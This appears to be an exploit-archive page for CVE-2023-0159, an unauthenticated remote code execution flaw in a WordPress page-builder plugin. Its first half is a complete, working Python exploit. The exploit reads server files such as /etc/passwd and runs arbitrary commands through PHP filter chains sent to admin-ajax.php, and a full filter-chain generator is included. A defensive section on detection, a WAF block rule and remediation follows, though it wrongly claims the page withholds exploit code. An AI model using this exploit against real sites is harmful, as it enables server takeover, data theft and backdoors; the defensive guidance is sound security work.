Extensive VC Addons for WPBakery page builder 1.9.0 - Remote Code Execution (RCE)

Exploit Author: Ravina Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Unknown Published Date: 2025-03-19
# Exploit Title: Extensive VC Addons for WPBakery page builder < 1.9.1 - Unauthenticated RCE
# Date: 12 march 2025
# Exploit Author: Ravina
# Vendor Homepage: wprealize
# Version: 1.9.1
# Tested on: windows, linux
# CVE ID : CVE-2023-0159
# Vulnerability Type: Remote Code Execution

------------------------------------------------
# CVE-2023-0159_scan.py 

#!/usr/bin/env python3
# LFI: ./exploit.py --mode lfi --target https://vuln-site.com --file /etc/passwd
# RCE: ./exploit.py --mode rce --target https://vuln-site.com --command "id" --generator /path/to/php_filter_chain_generator.py

import argparse
import requests
import base64
import subprocess
import time
import php_filter_chain_generator

def run_lfi(target, file_path):
    url = f"{target}/wp-admin/admin-ajax.php"
    payload = {
        'action': 'extensive_vc_init_shortcode_pagination',
        'options[template]': f'php://filter/convert.base64-encode/resource={file_path}'
    }
    
    try:
        response = requests.post(url, data=payload)
        if response.status_code == 200 and '{"status":"success","message":"Items are loaded","data":' in response.text:
            try:
                json_data = response.json()
                base64_content = json_data['data']['items']
                decoded = base64.b64decode(base64_content).decode()
                print(f"\n[+] Successfully read {file_path}:\n")
                print(decoded)
            except Exception as e:
                print(f"[-] Decoding failed: {str(e)}")
                print(f"Raw response (truncated): {response.text[:500]}...")
        else:
            print(f"[-] LFI failed (Status: {response.status_code})")
    except Exception as e:
        print(f"[-] Request failed: {str(e)}")

def run_rce(target, command, generator_path):
    # Base64 encode command to handle special characters
    encoded_cmd = base64.b64encode(command.encode()).decode()
    php_code = f'<?php system(base64_decode("{encoded_cmd}")); ?>'
    
    # Generate filter chain
    try:
        result = subprocess.run(
            [generator_path, '--chain', php_code],
            capture_output=True,
            text=True,
            check=True
        )
        payload = None
        for line in result.stdout.split('\n'):
            if line.startswith('php://filter'):
                payload = line.strip()
                break
        
        if not payload:
            print("[-] Failed to generate payload")
            return

        url = f"{target}/wp-admin/admin-ajax.php"
        data = {'action': 'extensive_vc_init_shortcode_pagination', 'options[template]': payload}
        
        print(f"[*] Sending payload for command: {command}")
        start_time = time.time()
        # Send the request to attempt RCE and dont forget to pass the generator path
        response = requests.post(url, data=data)
        elapsed = time.time() - start_time
        
        print(f"\n[+] Response time: {elapsed:.2f} seconds")
        print(f"[+] Status code: {response.status_code}")
        
        if response.status_code == 200:
            print("\n[+] Response content:")
            print(response.text[:1000] + ("..." if len(response.text) > 1000 else ""))
            
    except subprocess.CalledProcessError as e:
        print(f"[-] Filter chain generator failed: {e.stderr}")
    except FileNotFoundError:
        print(f"[-] Generator not found at {generator_path}")
    except Exception as e:
        print(f"[-] RCE failed: {str(e)}")

def main():
    parser = argparse.ArgumentParser(description="CVE-2023-0159 Exploit Script")
    parser.add_argument("--mode", choices=["lfi", "rce"], required=True, help="Exploit mode")
    parser.add_argument("--target", required=True, help="Target URL (e.g., https://example.com)")
    parser.add_argument("--file", help="File path for LFI mode")
    parser.add_argument("--command", help="Command to execute for RCE mode")
    parser.add_argument("--generator", default="php_filter_chain_generator.py", 
                      help="Path to php_filter_chain_generator.py")
    
    args = parser.parse_args()
    
    if args.mode == "lfi":
        if not args.file:
            print("[-] Missing --file argument for LFI mode")
            return
        run_lfi(args.target.rstrip('/'), args.file)
    elif args.mode == "rce":
        if not args.command:
            print("[-] Missing --command argument for RCE mode")
            return
        run_rce(args.target.rstrip('/'), args.command, args.generator)

if __name__ == "__main__":
    main()

------------------------------------------

# php_filter_chain_generator.py

#!/usr/bin/env python3
import argparse
import base64
import re


# No need to guess a valid filename anymore
file_to_use = "php://temp"

conversions = {
    '0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
    '1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
    '5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
    '6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
    '8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
    'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
    'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
    'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
    'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
    'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
    'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
    'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
    'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
    'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
    'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
    'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
    'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
    'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
    'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
    'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
    'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
    'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
    'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
    'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
    'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
    'M':'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
    'm':'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
    'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
    'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
    'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
    'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
    'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
    'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
    'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
    'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
    'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
    'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
    's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
    'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
    't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
    'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
    'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
    'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
    'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
    'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
    'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
    'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
    'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
    'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
    'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
    '/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    '+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
    '=': ''
}

def generate_filter_chain(chain, debug_base64 = False):

    encoded_chain = chain
    # generate some garbage base64
    filters = "convert.iconv.UTF8.CSISO2022KR|"
    filters += "convert.base64-encode|"
    # make sure to get rid of any equal signs in both the string we just generated and the rest of the file
    filters += "convert.iconv.UTF8.UTF7|"


    for c in encoded_chain[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"
    if not debug_base64:
        # don't add the decode while debugging chains
        filters += "convert.base64-decode"

    final_payload = f"php://filter/{filters}/resource={file_to_use}"
    return final_payload

def main():

    # Parsing command line arguments
    parser = argparse.ArgumentParser(description="PHP filter chain generator.")

    parser.add_argument("--chain", help="Content you want to generate. (you will maybe need to pad with spaces for your payload to work)", required=False)
    parser.add_argument("--rawbase64", help="The base64 value you want to test, the chain will be printed as base64 by PHP, useful to debug.", required=False)
    args = parser.parse_args()
    if args.chain is not None:
        chain = args.chain.encode('utf-8')
        base64_value = base64.b64encode(chain).decode('utf-8').replace("=", "")
        chain = generate_filter_chain(base64_value)
        print("[+] The following gadget chain will generate the following code : {} (base64 value: {})".format(args.chain, base64_value))
        print(chain)
    if args.rawbase64 is not None:
        rawbase64 = args.rawbase64.replace("=", "")
        match = re.search("^([A-Za-z0-9+/])*$", rawbase64)
        if (match):
            chain = generate_filter_chain(rawbase64, True)
            print(chain)
        else:
            print ("[-] Base64 string required.")
            exit(1)

if __name__ == "__main__":
    main()


Extensive VC Addons for WPBakery < 1.9.1 — CVE-2023-0159 (Unauthenticated RCE): Analysis, Detection, and Remediation

This article explains the unauthenticated Remote Code Execution (RCE) vulnerability tracked as CVE-2023-0159 in the "Extensive VC Addons for WPBakery page builder" WordPress plugin (fixed in 1.9.1). It provides a high-level technical overview of how the weakness can be abused, defensive detection patterns, safe verification techniques, remediation and mitigation options, and incident response guidance for administrators and security teams.

Summary & Affected Versions

  • Vulnerability: Unauthenticated Remote Code Execution (RCE)
  • CVE ID: CVE-2023-0159
  • Affected versions: versions prior to 1.9.1
  • Vendor: wprealize (Extensive VC Addons)
  • Fix: Upgrade plugin to 1.9.1 or later; apply vendor advisory

High-level Technical Overview

The vulnerability arises from a server-side handler that accepts user-controlled parameters via WordPress' AJAX endpoint (admin-ajax.php). A particular AJAX action used by the plugin accepts an input value intended to reference a template or resource. Due to insufficient validation and sanitization, attackers can pass crafted resource references that leverage PHP stream wrappers or chain of converters to coerce the server into interpreting attacker-controlled content as PHP code.

Conceptually, the exploit path involves three steps:

  • Unauthenticated HTTP request to the WordPress AJAX endpoint invoking the vulnerable plugin action.
  • Supplying a specially-crafted template/resource reference that abuses PHP stream wrappers (and conversion filters) to feed attacker content into the PHP processing pipeline.
  • Resulting in server-side execution of attacker-controlled PHP, which yields arbitrary command execution or persistent backdoors.

Why this is critical

  • Unauthenticated RCE allows an attacker to execute arbitrary PHP or system commands on the web server without valid credentials.
  • Successful exploitation typically results in full site compromise: code injection, webshell installation, data exfiltration, privilege escalation attempts and lateral movement.
  • Because the attack targets a public AJAX endpoint, automated scanning and exploitation at scale is possible if the plugin is present and unpatched.

Detection and Indicators of Compromise (IoCs)

Detection should focus on network traffic to WordPress AJAX endpoints and unexpected filesystem changes. The examples below are for defensive monitoring and incident hunting only.

  • Suspicious AJAX requests: POSTs to /wp-admin/admin-ajax.php with the action parameter set to the plugin's handler (for example, "extensive_vc_init_shortcode_pagination"). Check server logs for many such requests or from unusual IPs.
  • Anomalous responses: The plugin's handler returns structured responses. Look for repeated successful responses coupled with large or non-standard payloads, encoded data, or base64 blobs.
  • File system changes: Unexpected .php files in uploads/, temporary files, changed file timestamps, newly created scheduled tasks or modified theme/plugin files.
  • New accounts and credentials: Newly added WordPress administrators or modified credentials soon after suspicious AJAX traffic.

Safe detection examples (defensive use)

# Search webserver logs for calls to the vulnerable AJAX action (defensive audit)
grep -R "extensive_vc_init_shortcode_pagination" /var/log/apache2/ /var/log/nginx/ || true

Explanation: Grepping HTTP server logs for the plugin-specific AJAX action is a quick way to find whether the endpoint has been invoked. Run locally on your server with appropriate privileges.

# Use WP-CLI (on the host) to validate the installed plugin and version
wp plugin list --format=json | jq '.[] | select(.name=="extensive-vc-addons")'

Explanation: WP-CLI returns installed plugins and versions. This command helps an administrator confirm if the vulnerable plugin is present and its version without attempting any external probing.

Why we avoid sharing exploit code

Exploit code that demonstrates precise steps, filter chains, or payloads can be used by threat actors to automate compromise. The purpose of this article is to empower defenders with the knowledge needed to detect, remediate, and harden systems — not to provide a repeatable exploit recipe.

Remediation & Immediate Mitigations

  • Apply the vendor patch: Upgrade Extensive VC Addons to version 1.9.1 or later as soon as possible.
  • If you cannot patch immediately:
    • Temporarily deactivate or remove the vulnerable plugin.
    • Limit access to admin-ajax.php via a Web Application Firewall (WAF) or server rules to drop or challenge suspicious POSTs. Block the specific plugin action name at the WAF if feasible.
  • Harden permissions: Ensure directories such as wp-content/uploads are not executable and PHP execution is disabled where unnecessary.
  • Rotate credentials: After suspected compromise, rotate admin, service, and database credentials and invalidate sessions.
  • Restore from clean backups: If signs of compromise exist (webshells, modified core files), restore the site from known-good backups and re-apply patches.

Example mitigation rule for mod_security / WAF (illustrative defensive rule)

# Example: block requests invoking the specific action (defensive rule)
SecRule REQUEST_URI "@beginsWith /wp-admin/admin-ajax.php" \
  "phase:1,deny,log,id:1000011,msg:'Block attempts to invoke vulnerable extensive_vc action',chain"
SecRule ARGS:action "@streq extensive_vc_init_shortcode_pagination"

Explanation: This is an illustrative mod_security rule that denies requests invoking the named AJAX action. Validate and adapt rule syntax and IDs to your environment and test in monitoring mode prior to blocking to avoid false positives.

Incident Response Checklist (if you suspect exploitation)

  • Isolate the affected system from public traffic (put behind maintenance/WAF or take offline).
  • Collect volatile evidence: webserver logs, process list, network connections, active sessions, and memory snapshots if possible.
  • Preserve file system state: create disk images or file-system snapshots before remediation for forensic analysis.
  • Search for webshells and unexpected PHP files in writable directories (uploads, tmp) and for unusual scheduled tasks (cron entries).
  • Check for new WordPress users or modifications to roles/capabilities.
  • Rotate credentials (WordPress admins, database, API keys) and notify affected stakeholders.
  • Reinstall core/插件/theme files from trusted sources and re-apply patches; do not simply edit backdoors out of compromised files without verification.
  • Perform a full malware scan, vulnerability assessment and post-incident review to prevent recurrence.

Secure Development & Long-term Hardening Advice

  • Validate and sanitize all untrusted inputs server-side; never trust user-controlled strings that will be used in include/require or resource-loading contexts.
  • Avoid dynamic includes/loads from user-supplied filenames without strict allowlists.
  • Limit PHP stream wrappers and filter usage in code paths exposed to user input; prefer explicit, validated resource handling.
  • Run WordPress and plugins with the principle of least privilege and restrict file-system permissions for webserver users.
  • Use automated patch management for third-party plugins and subscribe to security mailing lists for advisories.

References & Further Reading

Item Notes
CVE-2023-0159 Official CVE record identifier for this vulnerability; consult vendor advisory and CVE database for timeline and patches.
Vendor advisory / plugin changelog Check the plugin’s official page and changelog for the 1.9.1 release notes and remediation instructions.
WordPress hardening guides Follow platform best practices: plugins updates, minimal privileges, WAF protection and regular backups.

Final notes for administrators

Prioritize patching and consider this a high-severity server-side vulnerability whenever the plugin is installed. Use the safe verification techniques above rather than externally probing third-party sites. If your environment was exposed, treat it as potentially compromised and follow standard incident response processes.